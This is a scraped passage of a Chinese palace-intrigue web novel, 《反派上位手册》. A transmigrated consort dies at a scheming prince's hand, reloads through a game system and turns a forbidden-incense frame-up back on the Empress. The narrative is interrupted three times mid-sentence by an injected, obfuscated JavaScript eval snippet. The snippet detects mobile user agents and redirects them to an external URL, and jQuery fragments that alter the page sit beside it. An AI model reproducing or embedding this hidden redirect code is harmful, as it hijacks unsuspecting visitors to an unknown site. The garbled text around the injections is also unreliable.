《反派上位手册》 1. 开局即死局 近乎腐烂的利齿撕开皮肉,疯狂啃噬着她的四肢,浓重的腥臭味几乎要将她的神志吞没。 高玥猛地睁开双眼,大口地喘着粗气。 四肢被丧尸疯狂撕咬的疼痛仿佛还残留在神经末梢,她不自觉地打了个哆嗦。 然而下一秒,鼻中一缕清冷地木质幽香却让她倏地一愣,她这才发现自己深处一个全然陌生的地方。 紫檀木的梳妆台,鎏金的博山炉,还有这明黄色帐幔…… 这是哪里? 而不远处坐着的一个男子,似乎是听到了声响,放下手中的茶盏,朝这边走来。 男子一袭素色锦袍,容貌无疑是极美的,可高玥却隐隐觉得这份俊朗的外表下,隐藏着一丝不易察觉的疏离与戾气。 果然。 他停在床边,居高临下地俯视着高玥。 “玥贵妃终于是醒了。没想到玥贵妃果真是有骨气,为了不与本王合作,竟不惜投湖自尽。”他微微倾身,声音压低了些,“本王倒是小瞧了你对那个老皇帝的痴心。” 高玥脑中一片空白,浑身又冷又痛,想必就是这个男人刚刚说的宿主投湖自尽。 她张了张嘴,可却发现喉咙嘶哑的挤不出半个字。她其实只想问一句。 “你是谁”。 可话未出口,无数的记忆碎片便汹涌而来,强行灌入她脑海。 剧烈的头痛让她眼前发黑,那些纷乱的画面、声音、情感,如同走马灯般飞速闪过。 原来她是玥贵妃,是当朝皇帝最得宠的妃子。 而眼前这个男人,是王爷齐思铭,世人眼中温润如玉的贤王,暗地里却是权倾朝野的东厂提督。 在宿主的认知里,这位贤王表面上待人宽和,是朝中一股清流,可私下里他却找到她,要求她利用皇帝的宠爱,为他窃取情报,助他谋夺大位。 玥贵妃对皇帝忠心耿耿,断然拒绝。 可这个面前的男人却用她远在山城的家人性命相要挟。 宿主宁死不屈,毅然决然选择在御花园的太液池中,用一死来明志。 高玥看完玥贵妃的这前半生,只觉得荒谬。 东厂提督是什么? 说白了就是太监头子。 自古以来,何曾有过太监当皇帝的先例? 再说了,就算你夺了这江山,你有子嗣继承吗? 想到这里,高玥觉得面前男子俊美的容貌此时也显得如此面目可憎。 宿主刚烈至此,宁死都不愿与这种人同流合污,她也一定要尊重宿主的意愿。 再说了,她一个初来乍到的现代社畜,人生地不熟的,何必一上来就参与这种掉脑袋的高风险项目? 再说了,在她读过的那些史书里,谋朝篡位这种事,十个有九个都落得个身首异处的下场,成功率低得可怜。 放着皇帝的大腿不抱,去跟着一个注定失败的王爷,哦不对,还是个太监…… 这不是脑子有病是什么? 她可不想刚从丧尸口中逃生,转头就把自己的小命折在这里。 想到这里,高于撑起虚弱的身体,靠在床头,嘴角扯出一抹比哭还难看的笑意。 “王爷,本宫只是一介女流,既无经天纬地之才,也无杀伐决断之勇。除了用一死来逃避,又能如何呢?” 言下之意,我都这样说了,你总不能还让我硬上吧。 高玥在心里默默翻了个白眼,这个齐思铭,到底看上玥贵妃哪点了,非要让玥贵妃跟着自己谋反。 齐思铭看着高玥这楚楚可怜的作态,眼底却不见半分怜惜。 “既然如此,玥贵妃是又拒绝了本王一次?” 高玥默不作声。 齐思铭脸上的笑意淡了下去,他静静地看了她许久,久到高玥以为他要动手掐死自己的时候,他却忽然又笑了。 “好,很好。” 他直起身子,慢条斯理地整理了一下自己的衣袍,“希望娘娘不会为今日的选择后悔。” 他留下这句话便拂袖而去,再未回头。 后悔? 高玥当时嗤之以鼻。 然而,报应却来得迅猛而惨烈。 齐思铭走后的第三天,她的贴身宫女翠儿,便被皇后的人诬陷与太监对食,被当着她的面活活杖毙。 她去求皇帝,却连皇帝的面都没见到。 而半月后,一封她与敌国王子“私通”的信件,从她的寝宫“搜”了出来。 证据确凿,人赃并获。 曾经对她恩宠无限的帝王,如今看她的眼神只剩下冰冷的审视与厌弃。 他甚至懒得多问一句,只一句话便将她从云端的宠妃,打入阴湿的泥淖。 她被打入永巷。 那是宫中最阴暗的角落,青石板上永远覆盖着湿滑的青苔,就连空气中都是腐朽的气息。 在那里的日子,比死还难熬。 她以为皇帝对自己总有几分情意,可她等来的,只有无尽的羞辱和绝望。 又过了一年,宫门被轰然撞开,喊杀声和火光染红了半边天。 齐思铭身披玄色铠甲,手持长剑,踏着满地的尸骨与鲜血,一步步向她走来。 他真的谋反了。 永巷的尽头,火光冲天。 尖叫的宫女和失魂落魄的太监如无头苍蝇一般从她身边仓皇奔过。 高玥静静地站在原地,忽然觉得自己像极了史书上那些被一笔带过的亡国之妃。 朱颜辞镜花辞树,落魄宫墙锁玉步。 齐思铭缓缓走到高玥面前,火光映照着他浴血的玄甲。 那张温润如玉的俊美面容,如今只剩一片冰霜。 他其实大可不必专门来到永巷,如今出现在这里,不过是为了审判。 一年前,他也是这样居高临下地看着她,让她不要后悔。 如今,他来取答案了。 “王爷……” 她的声音微弱得几乎要被风吹散,带着一丝她自己都未曾察觉的颤抖。 齐思铭的表情没有丝毫变化,他甚至没有回应她这一声称呼,只是漠然地抬起手,身后的人立刻递上一张长弓。 他缓缓举起长弓,锋利的箭头在火光下闪着寒芒,稳稳地对准了她的心口。 高玥看着那枚箭头,看着他冰冷而决绝的双眸,脑海中只剩下他当初拂袖而去时留下的那句话。 “希望娘娘不会为今日的选择后悔。” 后悔吗? 在她被诬陷时,在她被百般羞辱时,在她于这永巷中苟延残喘的每一个日夜里,这个词早已啃噬了她全部的神志。 一支利箭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315849|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破空而来,以雷霆万钧之势,精准无误地射中了她的心脏。 她的力气被瞬间抽空,双膝一软,重重地跪倒在地。 在她生命的最后一刻,她看到的,是他眼底那抹从未变过的嘲弄,以及一丝她看不懂的复杂情绪。 利箭穿心而过,剧痛席卷全身。 意识被丢入深不见底的寒潭,迅速下沉…… 那撕心裂肺的痛楚,连同永巷的火光,齐思铭冷漠的脸庞,都一并被无边无际的黑暗吞噬。 就在高玥以为自己将要彻底消散在这片虚无之中时,一道不带任何感情的电子音突然响起。 【警告:宿主生命体征已清零。】 【“反派上位手册”通关失败。】 话音落下的瞬间,一块幽蓝色的光屏在她眼前骤然亮起。 光屏上,几行字体缓缓浮现: 【失败原因:未能获取目标齐思铭的信任,导致关键剧情节点选择错误,最终被目标清除。】 【检测到宿主尚存初始积分,满足读档条件。】 【是否消耗全部积分,返回初始存档点,重新开始?】 屏幕下方,两个选项闪烁着幽微的光芒。 【是】/【否】 什么? 高玥在剧痛和震惊中,思维反而清明起来。 反派上位手册? 读档重来? 她从一个争不过女主的恋爱游戏,跳到了一个目标是辅佐反派篡位的权谋游戏? 而且这个反派,还是刚刚才一箭射死她的齐思铭! 高玥简直要被这荒谬绝伦的设定气笑了。 让她去帮一个心狠手辣,说翻脸就翻脸的人夺取皇位? 这系统莫不是有什么大病? 但更让她感到荒谬的,是光屏上“返回初始存档点”这几个字。 她猛地想起来,她刚来到这个世界的时候,正是玥贵妃投湖自尽被救起的时候。 所以说,她以为的宿主,也不过是上一个玩家而已? 一个手握系统,开了金手指的玩家,居然能把自己活到投湖自尽的地步? 拿着逆天改命的剧本,结果开局就直接送了人头,这简直是把王炸打成了单牌三。 高玥一时竟不知是该同情,还是该嘲笑。 或许,她更该嘲笑的是自己。 想当初在那个叫“爱在西元前”的恋爱游戏里,她自以为站在正义善良的女主角那边,兢兢业业地扮演着女主的好闺蜜,结果呢? 结局是被剧情推出去喂了丧尸。 结果这次选了正义的一边,反派居然送她一箭归西。 合着不管她是站正派还是站反派,横竖都是个死? 她死死地盯着屏幕上闪烁的【是】。 重来就重来! 她就不信这个邪! 齐思铭…… 你给老娘等着! 高玥毫不犹豫地点了那个发光的【是】字。 光芒一闪,周围的一切土崩瓦解,又在瞬间重组。 刺骨的寒意再次袭来,檀木的香气混合着湿衣的霉味,依旧是那个华丽的宫殿,那张雕花的床榻。 不远处的脚步声由远及近,那个俊美而危险的男人,朝她走来。 一切,又回到了最初的起点。 2. 一言乱朝,美人为刃 齐思铭依旧是刚刚那副温润如玉的模样。 “玥贵妃终于是醒了。”齐思铭的声音不高不低,带着几分慵懒的嘲弄,“没想到玥贵妃果真是有骨气,为了不与本王合作,竟不惜投湖自尽。” 一模一样的话,一字不差。 高玥的心跳的飞快,那一箭穿心的剧痛仿佛还残留在骨髓。 她没有像上一次那样直接拒绝,反而虚弱地咳了两声,心中却在飞快地思索对策。 “王爷说笑了。”她不敢直视齐思铭那双眼,只得低头攥着锦被。 “臣妾一介女流,性命荣辱皆系于陛下龙颜一怒。与王爷合作,臣妾连想都不敢想,又何谈为此投湖?” 她顿了顿,像是鼓起了极大的勇气,才终于抬眼看向齐思铭。 “臣妾只是想不明白,王爷手眼通天,为何偏偏选中了臣妾?” “臣妾既无经纬之才,也无谋略之识,实在是怕误了王爷的大事。” 齐思铭闻言,并未直接回答,而是轻描淡写地问道,“贵妃觉得,本王为何要选中你?” “在这宫中,美貌的女子如过江之鲫,更不乏聪慧机敏之流。本王若真要寻一枚棋子,玥贵妃并非唯一的选择。” 他顿了顿,转过身来,轻轻说道,“可唯有贵妃,身处漩涡中心,却又仿佛置身事外。既能轻易窥见帝王心思,又能巧妙地明哲保身。这份这份审时度势才是本王真正看中的。” 审时夺度? 齐思铭怕是不知道,他口中这份审时夺度,夸的是上一个把自己玩到投湖自尽的倒霉蛋玩家。 想来也是,在齐思铭这种人眼中,那个玩家拼了命地讨好皇帝,想要抱紧那根最粗的龙腿,可不就是“明哲保身”的最佳表现么? 可齐思铭却不知道高玥内心的想法,继续说道:“还记得半年前的选秀吗?当时陛下属意的是吏部尚书之女,可最终入宫的却是你,一个出身卑微,毫无背景的女子。 贵妃当真以为,仅仅凭着一张脸,就能让陛下改变主意吗? 是你进献的那份“百鸟朝凤图”,表面上是祈求国泰民安,实则将吏部尚书与前朝太子的旧事巧妙地串联起来,让陛下对吏部尚书心生芥蒂。 这份心机和胆识,可不是一般人能有的。” 高玥懂了,原来齐思铭看中的是上一个玩家留下的虚假人设。 而她现在必须得把这个人设给稳住,甚至演的更好。 齐思铭缓缓走近高玥,声音带着一种蛊惑人心的诱惑:“更何况……” 他俯身在她耳边低语,“贵妃不是一直想摆脱这受制于人的命运吗?与本王合作,或许能给你一个意想不到的答案。” “我答应。” 没有一秒钟的犹豫,高玥抬起眼,直直地对上齐思铭的目光。 齐思铭的眼中闪过一丝意外,“贵妃答应得这么爽快,倒叫本王有些意外了。” 高玥仿佛早料到他会有此一问,她真诚地回答道:“王爷,妾身想通了。 从前的我,总想着靠情爱活命,以为只要抓住了皇上的心,就能安稳度日。可结果呢?不过是镜花水月罢了。” “这几日我想得很明白,在这宫里,宠爱是最靠不住的东西。与其将身家性命寄托在一个男人的宠爱上,不如赌一把大的。” “与王爷下合作,虽是九死一生,可一旦功成,那便是泼天的富贵。与其等着被人宰割,倒不如先下手为强。这笔买卖,怎么看都是划算的。” 齐思铭盯着她看了许久,似乎在分辨她话中的真假。 最终,他脸上的神情恢复了惯常的温和。 “很好。”他淡淡吐出两个字,算是认可了她的说辞。 “既如此,有一事需交给你去办。” “本王听闻,陛下近来夜不安寝,似乎是想起了已故的荣亲王。”齐思铭的声音压得很低,像情人间的呢喃。 “你明日去向太后请安时,不必多言,只需在太后跟前的张嬷嬷面前,看似无意地提上一嘴此事便可。” 高玥脸上的笑容瞬间僵住。 荣亲王。 皇帝的亲弟弟,当年因谋逆大罪被满门抄斩,连宗谱都除了名。 这个名字,是宫中最大的禁忌,谁提谁死。 更何况是在太后面前。 太后虽不是荣亲王的生母,但当年也颇为疼爱这个小叔子。 在太后面前提及此事,无论是有意还是无意,都等于是在剜她的心头肉,一个不慎,她就会被当场杖毙。 “王爷。” 高玥的音调都变了,低声说道,“这可是宫中最大的禁忌,稍有不慎,我便可能命都没了。” “我若死了,王爷您的宏图伟业不就彻底泡汤了?” 她与其说是在质问,不如说是在提醒。 齐思铭冷哼一声,“连这种小事都办不好,本王还要你有何用?” 这位祖宗! 高玥内心简直要尖叫出来了。 上一秒还对你说你很重要,下一秒就让你去死。 都说伴君如伴虎,这位更是翻脸就跟翻书一样。 一句话,将高玥所有的退路都堵死了。 合着我的命你是一点不在意啊! 拒绝? 拒绝的下场可能比去太后宫里送死还惨。 她又想起了齐思铭对着她射箭的那一幕。 高玥深吸一口气,将心头的恐惧尽数压下,重新挤出一个妩媚的笑容:“王爷放心,保证完成。” 她的话音刚落,一根手指便轻轻划过她的脸颊,那手指顺势而下,最终停留在她的下颌处。 只微微用力,便将她的脸抬了起来,强迫她与他对视。 齐思铭笑了。 可高玥却在他的笑容里读出了一丝毫不掩饰地威胁。 …… 夜深王府。 齐思铭的贴身侍卫王友为他奉上一杯热茶,脸上带着几分忧虑。 “王爷,让玥贵妃去做这件事,是否太过冒险?”王友忍不住开口。 “荣亲王一案是前朝时期的旧案,如今早已无人敢提。她一个新晋的妃子,在太后面前提及此事,一旦应对不当,不仅她自己性命难保,恐怕还会暴露我们。” 齐思铭端起茶盏,用杯盖轻轻撇去浮沫。 他没有立刻回答,只是静静地看着杯中沉浮的茶叶。 “王友,你觉得如今的朝局如何?”他忽然问了一个不相干的问题。 王友一愣,恭敬地答道:“坊间都说当今太子仁德,朝臣归心,朝局稳如磐石。” “稳如磐石?”齐思铭轻笑一声,“正因为它太稳了,才是一潭死水。” “一潭死水,是养不出真龙的。” 他放下茶杯,眼中闪过一丝厉色:“本王要的,就是搅动这潭死水。” “太后并非当今圣上的生母,她虽然后来抚育了圣上,但与圣上之间,始终隔着一层。 相反,她对先帝的其他几个儿子,尤其是荣亲王,倒是真心疼爱过。当年荣亲王谋逆案,定罪定得太快,其中不乏疑点。太后这些年看似不问世事,但心里未必没有疙瘩。” 齐思铭起身走到窗前,望着天边那轮残月,幽幽地说道:“本王就是要让她的这颗石子投进去,不必激起惊涛骇浪,只需在太后心里,重新泛起一丝涟漪,勾起她对当年旧案的疑心就够了。” “那到时候,太子那看似稳固的东宫之位,还会那么稳吗?” 王友恍然大悟,额上渗出冷汗。 原来他们的王爷真正目的,是利用太后来动摇太子的根基! “至于她么……”齐思铭不经意地说道,“她若能办成,证明她确实是把好刀。她若办砸了,死了一个贵妃,父皇最多伤心几日,很快就会有新的美人来填补。而本王,不过是损失了一枚尚未完全信任的棋子罢了。” …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315850|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜晚,高玥屏退了所有宫人。 殿内燃着安神的暖香,却驱不散她心头的焦虑。 齐思铭的笑容就像是烙印一般挥之不去。 坐以待毙? 不行。 无论是被齐思铭当弃子还是去太后宫里去送死,她哪个都不选。 高玥深吸一口气,心中默念,“系统。” 一道只有她才能看得见的幽蓝光屏浮现于眼前。 她熟练地调出搜索栏,输入“荣亲王”三个字。 【荣亲王,齐昭。】 【先帝第三子,由当今太后抚养长大,情同母子。】 【天资聪颖,文武双全,曾深受先帝与太后喜爱。元和三年,因涉谋逆案被赐死,王府上下三百余口尽数流放。】 高玥倒吸了一口气,如果直接提及荣亲王,这无疑是在太后的雷区上蹦踏。 她必须找到一个万全之策,一个既能完成任务,又能保全自己的好法子。 她静坐片刻,强行压下心头的惊涛骇浪,向着殿外唤了一声“翠儿”。 翠儿闻声立刻推门进来,屈膝行礼。 高玥抬手,状似随意地问道:“翠儿,你入宫比本宫久,宫里的一些旧事,想必也比本宫清楚。” 翠儿不明所以,但还是恭敬地答道:“奴婢愚钝,但娘娘想知道什么,奴婢一定知无不言。” 高玥点了点头,缓缓开口:“本宫今日似乎听人提了一句,便想问问你,你可知道荣亲王?” 话音刚落,翠儿的脸色“唰”地一下变了。 翠儿压低了声音,几乎是用气音在说:“我的好娘娘,您可千万别再提这个名字了!” 她连忙解释道,“娘娘,您来的时间不长,可能不知道,荣亲王这三个字,在宫里可是天大的忌讳!您是从哪儿听来的?快忘了它,就当从没听过!” 高玥见翠儿吓成了这样,心中了然,面上却是一副“原来如此”的神情。 她轻轻拍了拍翠儿的手背,柔声说道。 “瞧把你吓得,本宫又不是傻子,自然是知道什么话该说,什么话不该说。” “今日之事偶然听了一嘴,心里没底,这才想着问问你。” 见翠儿脸上依旧惊恐,高玥换上了一副故作担忧的模样,“你想啊,咱们在这宫里,最怕的就是在不知情的时候触了哪位贵人的逆鳞。” “本宫就是想问问,那位荣亲王在世时,平日里都喜欢些什么物件?或者有什么偏好?本宫知道了,日后也好远远地避开,省得哪天宫里赏下什么东西,或是本宫用了什么,恰好是那位王爷的心爱之物,到时候惹得太后或是圣上睹物思人,触了这个霉头,那才真是跳进黄河也洗不清了。” 翠儿听完这番话,紧绷的肩膀瞬间松了下来。 “原来是这样。”翠儿长舒一口气,“瞧瞧奴婢这榆木脑袋,竟没想到这一层去!还是娘娘心思玲珑,想的这版周全!” 她凑近了些,声音压得更低:“娘娘说得对,这事儿不得不防。要说那位王爷的喜好,有件事,奴婢也是听别人说过。” 高玥的眸光微不可察地一动。 只听翠儿继续说道:“听说那位王爷在调香上天赋异禀,尤其最爱佛手香。他亲手调制的佛手香,清冽悠远,曾被誉为京城一绝。也正因如此,内务府采买香料时,都会刻意避开了佛手这味香料。就是怕太后娘娘闻到了睹物思人,伤心神。不过此事毕竟是宫中禁忌,知道的人也不多,奴婢也是听别人随便闲聊时才知道。” 佛手香? 高玥心中微动,面上却露出一副恍然大悟的神情。 “哎呀,你这么一说,我倒真要好好查查了!我从家里也带了不少香料进宫,平日里只觉得好闻,哪里会去细究都是些什么成分。” 她蹙起眉头,一脸担忧地站起身,“不行,我得现在就去看看。咱们得仔细翻翻,可千万不能在这种要命的事上出了差错!” 3. 引蛇出洞请君入瓮 次日,天色将明,高玥便起了身。 她特意未施脂粉,只着一身素色宫装,长发松挽,衬得一张面孔毫无血色,满是病气。 她未去旁处,而是径直朝着皇帝的养心殿而去。 皇帝此刻正在批折子,见她这副病弱模样,眉头顿时一蹙,搁下了手中的朱笔。 “爱妃这是怎么了?脸色竟如此难看。” 高玥盈盈一拜,声音里透着沙哑与虚弱:“臣妾扰皇上清静了。只是臣妾近来也不知为何,夜里总是不得安寝,方才在殿外,竟险些眼前一黑,栽倒在地。” 她一边说着,一边手抚上心口,眉尖轻蹙。 皇帝果然面露不悦,连忙让她坐下。 “胡闹!身子不爽利,为何不早说?陈德,传王太医!” 王太医来得极快,良久,他才收了手,面露难色地说道:“回皇上,贵妃娘娘脉象虚浮,倒无大碍,只是娘娘近来可是心绪不宁,思虑过甚?” 高玥想起了齐思铭那张欠揍的脸,心中冷笑了一声。 日日与疯子为伍,时时如履薄冰,这心绪如何能宁? 但面上她却是一派茫然,思索了一会,便从袖中取出一只绣着淡兰的香囊,递了过去。 “臣妾也不知晓。只是近来时常闻着此物,便觉头晕目眩,心口烦闷。” 王太医接过香囊,凑近鼻端一嗅,脸色倏然微变,立刻禀道:“皇上,此香囊中含了百合。此花香气虽雅,但气味却过于浓郁,若是贴身久戴,反而会扰人心神,令人夜不能寐。” 皇帝面色一沉,对王太医道:“既是此物作祟,还不快给贵妃换个安神助眠的方子?贵妃若有半分差池,朕唯你是问!” “臣遵旨!”王太医忙不迭应下,又开了几副安神汤,这才躬身告退。 凤仪宫内。 皇后一身石青色宫服,正坐在窗边,漫不经心地拨弄着炉里燃尽的香灰。 一旁的赵嬷嬷躬着身子,压低了声音,“娘娘,昨儿个夜里,咱们的人瞧见那位齐王爷,竟从玥贵妃的寝殿里出来了。” 皇后拨弄香灰的动作一顿,随即又恢复了往日的慵懒,“本宫当是什么大事。那个女人半夜不睡觉,跟一个太监在屋子里面鬼鬼祟祟干什么?” 赵嬷嬷见自家主子似乎并不以为意,一时有些着急,“娘娘,那齐王爷虽说身子不全,可他终究是个外男。深更半夜从贵妃寝殿出来,这若是传到皇上的耳朵里……” “传到皇上耳朵里?”皇后终于放下了手中的银签,似笑非笑地看向赵嬷嬷,“你可有证据?皇上只会觉得,是有人见不得那个狐媚子得宠,故意泼脏水。说不准,还以为是本宫在捣鬼,反倒愈发的怜惜她了呢。” 赵嬷嬷一愣,立马点点头,“娘娘说的是,倒是老奴想的简单了。” “不过……”皇后顿了顿,继续说道,“你说的也不无道理。一个宠妃,一个掌着东厂的王爷,这两个人凑在一起,总归不是为了赏月。” “你去查查,那个狐媚子现在在做什么。” 王太医提着药箱,刚出养心殿不远,便被一人拦住了去路,正是皇后宫里的赵嬷嬷。 赵嬷嬷脸上挂着笑容:“王太医,皇后娘娘有请,还请您往凤仪宫走一趟。” 王太医心里咯噔一下,可面上却不敢显露分毫,只得垂首应了。 她慢条斯理地呷了口茶,问道:“听闻刚刚陛下急召你过去,所为何事?” “回娘娘,是玥贵妃娘娘身体违和,夜里睡不安稳。皇上命臣为贵妃娘娘换一副安神香囊。” 皇后搁下茶盏,意味深长地说道:“哦?睡不安稳?这可是大事。贵妃妹妹正得圣心,若是累坏了身子,皇上岂不心疼。” 话毕,她话锋一转,“本宫近日恰好得了一种奇香,听闻有安神助眠的功效。赵嬷嬷。” 赵嬷嬷心领神会,转身入内,未几,便捧出一个琉璃小瓶。 王太医只嗅了一下,便“噗通”一声跪倒在地。 “娘娘!这!此乃佛手香?!” 佛手香,牵涉荣亲王谋逆大案,早被列为禁中之禁。 私藏此物,便等同与前朝余孽勾结,乃是诛九族的大罪! “啪——” 只听一声脆响,皇后手中的茶盏被狠狠扔在地上,“放肆!” 皇后豁然起身,指着王太医骂道,“你的意思是,本宫私藏禁香,意图谋逆?还是你想说本宫勾结前朝余孽不成!” 王太医哪里见过这种阵仗,连忙不住地磕头,“臣不敢!是臣老眼昏花,一时口误!求娘娘恕罪!” 皇后的面色稍微缓和了一些,转而说道:“既不是佛手香,那便无碍,你将这安神香拿去。如果耽搁了贵妃治病,本宫拿你是问!” 说罢,她缓缓俯身,凑近王太医,“又或者,王太医是想违抗本宫的懿旨?” 王太医哪里还有退路,只得双手接住瓶子,声音却已经抖得不成样子,“臣……遵旨!” …… 不出两日,翠儿便捧着一只新的香囊进来了,满面喜色:“娘娘,王太医遣人送来的,说是这回的香,最是安神不过。” 高玥接过那只绣工精巧的锦囊,凑到鼻尖,只轻轻一嗅,她的脸色瞬间变了几变。 这个香气她再熟悉不过了,正是佛手香! 她原本想着如何神不知鬼不觉地将自己备下的佛手香换进去,不曾想,竟有人比她更快,早已贴心的为她准备好了。 若非她早已闻过佛手香的气味,并知晓这佛手香背后牵连的事情,此刻怕是真的会毫不知情地戴上,等着那顶勾结前朝余孽的帽子扣下来。 届时,她就算是浑身是嘴,也说不清楚了。 只是,究竟是谁这么迫不及待的想让她死? 宿主满打满算进宫也不过月余,却已经有这么多人想要她死。 先是齐思铭那个人,现在又不知道暗地里谁想要栽赃陷害她。 这玥贵妃可真不是什么好的岗位! 不过,既然如此,那她便将计就计,顺便将那藏在暗处的毒蛇也一并钓出来! …… 次日,晨省。 高玥敛了敛心神,端着宫女奉上的茶盏,款款上前。 “臣妾给太后娘娘请安。”她声音依旧带着几分病中的虚弱。 高玥跪在软垫上,双手举起茶盏,恭敬地递向太后。 就在太后伸手欲接住的那一刻,高玥好似为了稳住茶盏一般,左手不经意间抬起,轻轻扶了一下自己的衣襟。 也就是这个动作,带起她腰间佩戴的香囊,一股极淡却又独特的香气悄然弥散开来。 一直闭目养神的太后,突然睁开眼睛,直直地盯着高玥。 “这是什么味道?!” 侍立在太后身侧的张嬷嬷显然也闻到了这个香气,厉声喝道:“大胆玥贵妃!还不跪下!” 高玥仿佛被这突如其来的呵斥吓住,身子一颤,手中茶盏险些摔落。 她脸上尽是茫然,却还是依言跪了下去,神情惶恐又无辜。 太后的一字一顿地问道:“你身上是何气味?!” 高玥被这个阵仗着实吓了一跳,只得连忙磕头:“回太后,臣妾……臣妾不知。近日臣妾精神困顿,皇上特意召了王太医为臣妾诊脉,此物正是王太医为臣妾新换的安神香囊。” “不知……不知这香囊有何问题?” “传王太医!”张嬷嬷没有理会高玥,而是直接下令召了王太医。 片刻,王太医便被带了进来。 他一进殿中,便瞧见太后阴沉的脸色和跪在地上的玥贵妃,连忙跪倒在地。 张嬷嬷上前一步,厉声质问道,“王太医,你好大的胆子!太后娘娘问你,你给玥贵妃的香囊里,到底都放了些什么?!” 王太医的额前沁出了密密麻麻的冷汗,他根本不敢看向高玥,只得将头深深地埋在臂弯里。 “回……回太后娘娘,此乃臣为玥贵妃娘娘调配的安神香。所用之物,皆是寻常安神静气的药材,有……有上好的檀香、沉香,辅以丁香、肉豆蔻,再加了少许龙脑香提神……” 他说到这里,又怕说的不清楚一般,又急急忙忙补充道,“所用药材均是温和之物,绝无相冲相克之理,对娘娘身体更是有百利而无一害啊!请太后娘娘明鉴!” 高玥面上惶恐,可内心却已经吐槽了千百遍。 不知道的还真以为你有多冤枉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315851|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这些寻常药材背得倒是滚瓜烂熟,可最要命的那一味,你是真不知道,还是不敢说? 张嬷嬷根本不理会他的辩解,只是冷笑一声,“那你可知道,这香囊里,还有一味佛手香?” 佛手香三个字一出,王太医更是被吓得魂飞魄散,也顾不得什么体面了,额头猛磕在地上。 “太后娘娘饶命!饶命啊!”他的声音抖得不成样子,“就是借老臣一百个胆子,老臣也不敢用那佛手香入药啊!请太后明鉴!这当中一定有误会,一定是有人栽赃陷害老臣啊!” 太后并未发话,斜靠在软枕上,不着痕迹地扫了高玥一眼。 良久,目光又慢悠悠地回到地上早已抖成一团的王太医身上,“你是说?有人栽赃你?” 不等王太医开口,张嬷嬷便已转身,指向高玥。 “你好大的胆子!此等宫闱禁物,是谁许你私自佩戴的?!来人,将玥贵妃拖下去,重重地罚!” 就在此时,太后却极快地扫了张嬷嬷一眼,递去一个眼色。 张嬷嬷立刻会意,转而对王太医怒斥:“没用的东西,滚出去!” 随即面向众人,“都退下!此事太后要亲自审问,胆敢有一个字说出去,要了你们的狗命!” 王太医如蒙大赦,连滚带爬地逃出慈安宫,他片刻不敢停留,踉踉跄跄直奔凤仪宫而去。 …… 凤仪宫内,皇后正悠闲地拨弄手炉里的香灰。 “娘娘,王太医来了。”贴身宫女低声通报。 话音刚落,王太医便踉跄着扑了进来,见到皇后便又是一声跪倒在地。 皇后慢条斯理地放下银签,见到王太医那副狼狈的样子,不禁轻笑了一声,“瞧你这狼狈样子,不知道的,还以为慈安宫是什么龙潭虎穴呢。” 王太医不敢有所隐瞒,将慈安宫内发生的一切原原本本地学了一遍。 可皇后却一脸意料之中的样子,呷了一口热茶,语气里满是惬意,“太后当真说要处置玥贵妃了?” “后来,太后屏退了所有人,只……只单独留下了玥贵妃,说是要亲自审问!” 听到“亲自审问”四个字,皇后的嘴角勾起一抹毫不掩饰的满意。 她将茶盏轻轻搁下,“知道了,这事你办的不错。” 又像是想到了什么似的,对赵嬷嬷道:“赏王太医白银千两。” 王太医听了这话,才像是终于活了过来,重重地磕了几个响头。 可皇后却没有着急让他起身,语气依旧是不咸不淡,“本宫记得,王太医的祖籍是江南一带吧。” 王太医心头一凛,不明白皇后娘娘为何突然提起这个。 “回娘娘,臣的老家在苏州府。” “苏州府,好地方啊。”皇后悠悠一叹,目光却变得幽深起来,“你在京中当值多年,怕是许久都未曾见过你那宝贝女儿了。本宫听闻,她今年也快及笄了,正是需要父亲在身边的时候。” 这一番话,如同一盆冷水浇在王太医的心头,刚才那千两白银的暖意瞬间荡然无存。 他突然明白,这根本不是赏赐,这是封口费! 只听皇后慢悠悠地说道:“你也辛苦了大半辈子,如今也算大功一件。不如就趁着这个机会,向皇上请辞,告老还乡吧。回苏州颐养天年,也好好弥补一下对家人的亏欠。” 王太医闻言,惊恐万状地叩首求饶:“皇后娘娘饶命!老臣……老臣对娘娘忠心不二啊!” 皇后的眼神却突然狠厉了起来,刚刚的柔和荡然无存:“事已至此,你以为你还能留在宫中?那个香囊的事情,你不会以为真的不会查到你的头上吧。 莫非,你是让本宫给你的失误背锅?! 本宫是在给你指一条活路,你若不走,本宫可不敢保证,这告老还乡,会不会成了病死宫中!” 王太医此刻的身体已经抖成了筛子,哪里还敢说一个不字。 “老臣……遵命。谢……谢娘娘体恤。” …… 而此时的慈安宫,所有人都已退下。 大殿内一片死寂,压得人喘不过气来。 良久,太后终于开口。 